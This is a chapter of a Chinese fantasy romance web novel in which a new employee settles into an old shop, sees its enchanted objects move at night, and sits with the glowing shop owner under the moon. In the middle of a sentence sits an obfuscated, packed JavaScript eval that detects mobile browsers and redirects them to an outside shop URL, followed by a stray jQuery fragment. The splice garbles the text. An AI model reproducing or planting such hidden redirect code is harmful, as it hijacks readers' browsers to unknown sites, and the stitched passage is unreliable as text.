签完合同陆听澜带她去看房间。二楼尽头一间朝南的屋子，不大但干净，一张单人床铺着浅蓝色棉布床单，带着晒过太阳的味道。窗边有一张旧书桌，桌上放着一盏铜灯、一个空笔筒、一面小圆镜。窗户正对着院子里的老槐树，窗帘是米白色的，被风吹得轻轻晃动。陆听澜靠在门框上没有进来，双手抱在胸前，姿态松散随意："包吃包住，明天正式开始上班。晚上别乱跑，店里有些东西……晚上不太安分。"
林小满正在看窗户的位置，听到这句话转过头来："什么意思？"陆听澜靠在门框上看了她一眼，嘴角微微弯了一下但笑容没有完全展开，像在斟酌措辞又像在故意留悬念："你慢慢就知道了。"她说完这话就转身走了，步子不紧不慢，墨绿色的长衫下摆随着走动轻微摆动，在走廊尽头拐了个弯不见了。
林小满站在房间中央听着她的脚步声沿楼梯下去，然后听到楼下传来小铜和画娘压着嗓子的嘀咕声。小铜的声音又脆又急："她住下来了！她真的住下来了！"画娘的声音飘飘忽忽的像风穿过绸缎："嘘——小点声，她还在上面呢。"然后是小铜兴奋得原地转圈的细碎金属摩擦声，和画娘低低的闷笑。
林小满站在窗边看着院子里那棵老槐树，傍晚的光线从枝叶间漏下来在地板上投出一格一格暖金色的光斑。她转身打开行李箱，把衣服一件一件拿出来挂进衣柜——三件短袖、两条长裤、一件薄外套、一套备用床单。衣柜的木质内壁有一股淡淡的樟木香气，最里面贴着一张泛黄的纸条，上面用清隽的字迹写着两个字："欢迎。"她盯着那两个字看了几秒，然后把最后一件外套挂好，合上衣柜门。
她坐在床沿上试了试床垫的软硬，又站起来走到窗边推开窗户，夜风裹着槐树的气息涌进来，带着草木和露水的味道。她趴在窗台上往下看——院子不大，铺着青石板，缝隙里长着细密的青苔。老槐树的树冠几乎覆盖了半个院子上空，枝叶层层叠叠。陆听澜正蹲在院子角落给那几盆绿植浇水，背对着她这边，动作缓慢而专注。她没有回头。
天黑之后林小满在床上躺了一会儿但没睡着。陌生的床、陌生的房间、陌生街巷里偶尔传来的狗叫声和自行车铃铛声，让她翻了好几个身都没找到舒服的姿势。她闭上眼睛又睁开，窗外月光把老槐树的影子投在天花板上，像一幅不断晃动的水墨画。她在床上躺了大约两个小时，睡意还是没有来。嗓子开始发干，她摸到床头柜上的杯子，空的。她又摸了摸手机看时间——凌晨一点四十七分。她犹豫了几秒，坐起来掀开被子，踩着拖鞋下了床。
楼梯很暗，月光从走廊尽头的窗户照进来在地上投出一块长方形的银白色光斑。她扶着栏杆慢慢往下走，木质台阶在脚下发出轻微的"吱呀"声。白天看起来普通的店，在月光下呈现出另一种面貌——货架上的瓶瓶罐罐轮廓模糊，光线无法照到的地方堆着浓重的阴影，空气中飘着白天闻不到的旧木头和灰尘的气息。她走到楼梯拐角的时候忽然停住了。
前厅里有动静。她放轻脚步走到拐角处探头——月光从窗外照进来把整个前厅照得半明半暗，柜台上方那盏老式铜灯没有开，但月光本身已经足够亮了。小铜正蹲在柜台上面翻跟头，一个接一个，翠绿色的身体在月光下翻出一道道短促的弧线。它翻到第四个的时候脚滑了从柜台上滚下来，四腿朝天蹬了两下才翻过身来，嘴里哼着一段听不出调子的歌。画娘从画框里飘了出来——整个人从画纸里浮现出来，纱裙的尾端还连着画框的边角——她正在月光下晾一条月白色的纱巾。纱巾在半空中悬着，被夜风从窗缝里送进来的气流吹得微微拂动。阿蟾从趴着变成了侧躺，四只短腿朝着同一个方向微微蜷着，像在翻身的过程中睡着了一半。货架上那只瓷猫正在伸懒腰——前爪往前探，后腿蹬直，脊背拱起成一道弧线，嘴巴张开发出一个无声的哈欠，然后又蜷缩成原来的姿态闭上了眼。
林小满端着空水杯站在楼梯口，后背贴着墙壁，一动不动。她的大脑在"这是梦"和"这是真的"之间反复横跳。小铜翻完跟头从柜台上跳下来，落地之后它转头看了一眼楼梯方向——正好和她的目光撞了个正着。它整只兽僵住，铜质的小身体在月光下骤然绷紧。然后它嘴里结结巴巴地喊了一声："你、你怎么醒了——！"
小铜跌跌撞撞冲到楼梯口，用脑袋顶着她的腿往外推："你快出去快出去快出去——老板在后院！"林小满被它推得踉跄了好几步，穿过前厅，推开后院门，一脚踩在台阶上。然后她整个人定住了。陆听澜坐在后院的台阶上，仰头看着月亮。月光洒在她身上，把她整个人笼罩在一层极淡的银白色光晕里——那不是月光照在她身上的反光，是她自己在发光。那层光从她身体里透出来，像裹着一层流动的、温和的银雾，从发梢到肩线再到垂在身侧的手指尖，整个人像月光本身有了形状。
她听到身后的动静，偏过头来。然后她对上了林小满的目光。她身上的光在那一瞬间倏然收了回去——像有人关了一盏灯，银白色从她身上迅速退去，恢复成月光正常的亮度。她现在看起来和一个普通人在月光下没什么两样了。她坐在台阶上没有起身，只是微微挪了一下位置让出身边的空间，然后拍了拍身边的石板台阶："睡不着？过来坐。"
林小满站在原地看了她两秒，然后鬼使神差地走过去，挨着她坐了下来。两人之间隔了大约一臂的距离，并肩坐在台阶上仰头看着月亮。老槐树的枝叶在头顶沙沙响着，月光从缝隙间漏下来，在两人之间的地面上落了一地细碎的白。安静了一会儿。林小满想问"你刚才身上那光是什么"，但话到嘴边拐了个弯："老板娘，你今年多大？"陆听澜偏头看了她一眼："问这个干嘛？""……就随便问问。"陆听澜把目光收回去重新看着月亮，想了一会儿："可能比你大很多。"她说这句话的语气很平常，像在说"今天天气不错"一样平淡。林小满侧头看着她的侧脸——月光下她的轮廓线条清晰柔和，长衫的领口微微敞着露出脖颈到锁骨的一小片皮肤，睫毛在眼下投出淡淡的影子。"大了很多，是多少？""不记得了，"陆听澜的语气还是那副样子，"没认真数过。"林小满转回去看着月亮，没再追问。
两人坐在台阶上安静地看了好一会儿月亮。夜风从
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648587|206837||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
墙头翻过来，把老槐树的香气一阵一阵送到她们身边。院子角落那几盆绿植的叶子在风里轻轻晃动着，偶尔有一片落叶从头顶旋下来，落在两人中间的台阶上。过了一会儿林小满轻声说了一句："我以前很少看月亮。""为什么？""没时间。也没人一起看。"陆听澜没有接话，但林小满注意到她垂在膝盖上的手指微微蜷了一下，像想做什么又没做。
"去睡吧。"陆听澜先站了起来，拍了拍长衫下摆沾的灰尘。"你也是。"林小满跟着站起来。两人一前一后走回屋里，经过前厅的时候小铜正趴在地上装睡——四腿收紧、眼睛闭着、呼吸均匀，演技拙劣到一眼就能看穿。画娘已经回到了画框里，纱巾收走了，重新端坐成那幅古画原本的姿态。阿蟾恢复了趴姿，瓷猫也规规矩矩地蹲在货架上。一切恢复了"正常"的模样，仿佛刚才那个月光下的画面只是一场梦。但林小满知道那不是梦。
她上楼回房躺回床上，翻了个身把脸埋进枕头里。月光下陆听澜回头的那一幕在眼前反复回放——银白色的光、转过来的侧脸、被光包裹的轮廓。她闭着眼在枕头里闷声说了一句："……真好看。"然后她翻了个身面对天花板，盯着那道从窗帘缝里透进来的月光银线看了很久。无名指上空空荡荡的，但她有一种奇怪的直觉——将来某一天这个地方会长出什么东西来。不是戒指，是比戒指更深的、和这间店、和那个人连在一起的东西。她举起手对着月光看了看那只手，又放下了。心跳过了好一会儿才慢慢平复下来。
楼下院子里传来一声惨叫："嗷——老板你踩到我了！"紧接着陆听澜的声音冷冷响起："谁让你趴台阶上睡觉的。"小铜委委屈屈地嗷了两声然后安静了。林小满在黑暗里听着楼下的动静，嘴角翘了一下。她翻了个身把被子拉到下巴，第一次觉得这个陌生的地方好像没那么可怕了。窗外老槐树的枝叶在夜风里轻轻晃动，月光从缝隙间漏下来在窗台上落了一地细碎的白。院子那边传来一声极轻的关门声，然后整间旧时阁都安静了下来。林小满听着自己均匀的呼吸声，慢慢闭上了眼睛。
楼下柜台旁边那只旧木匣子里，一张写了"终身合同"的宣纸正安静地躺着。最下面那行"一方彻底消散"的字迹边缘有一个极其细微的、被人用指腹反复按压过的淡痕，在月光从窗外照进来落在匣面上的时候，那道痕迹几乎看不出来。陆听澜站在柜台旁边喝了一杯凉掉的茶，手指在那道痕迹的上方悬停了一会儿，然后她放下茶杯转身，慢慢上了楼。
"她住下来了。"这句话在她脑海里转了一圈，带着一点她自己都不太确定是惊讶还是安心的温度。她走到楼梯口的时候回头看了一眼院子方向——老槐树的枝叶在月光下泛着银白的光泽。她看了几秒，转身上了楼。走廊尽头那扇门已经关了，门缝里透出一点手机屏幕的微光，然后那点光也灭了。
"晚安。"她在走廊里轻声说了一句，声音很轻，像自言自语。然后她也关上了自己的门。
整间旧时阁在月光里慢慢沉入夜色的深处，像一个刚刚完成了一桩等了很久的事的老房子，终于可以安心地闭上眼睛。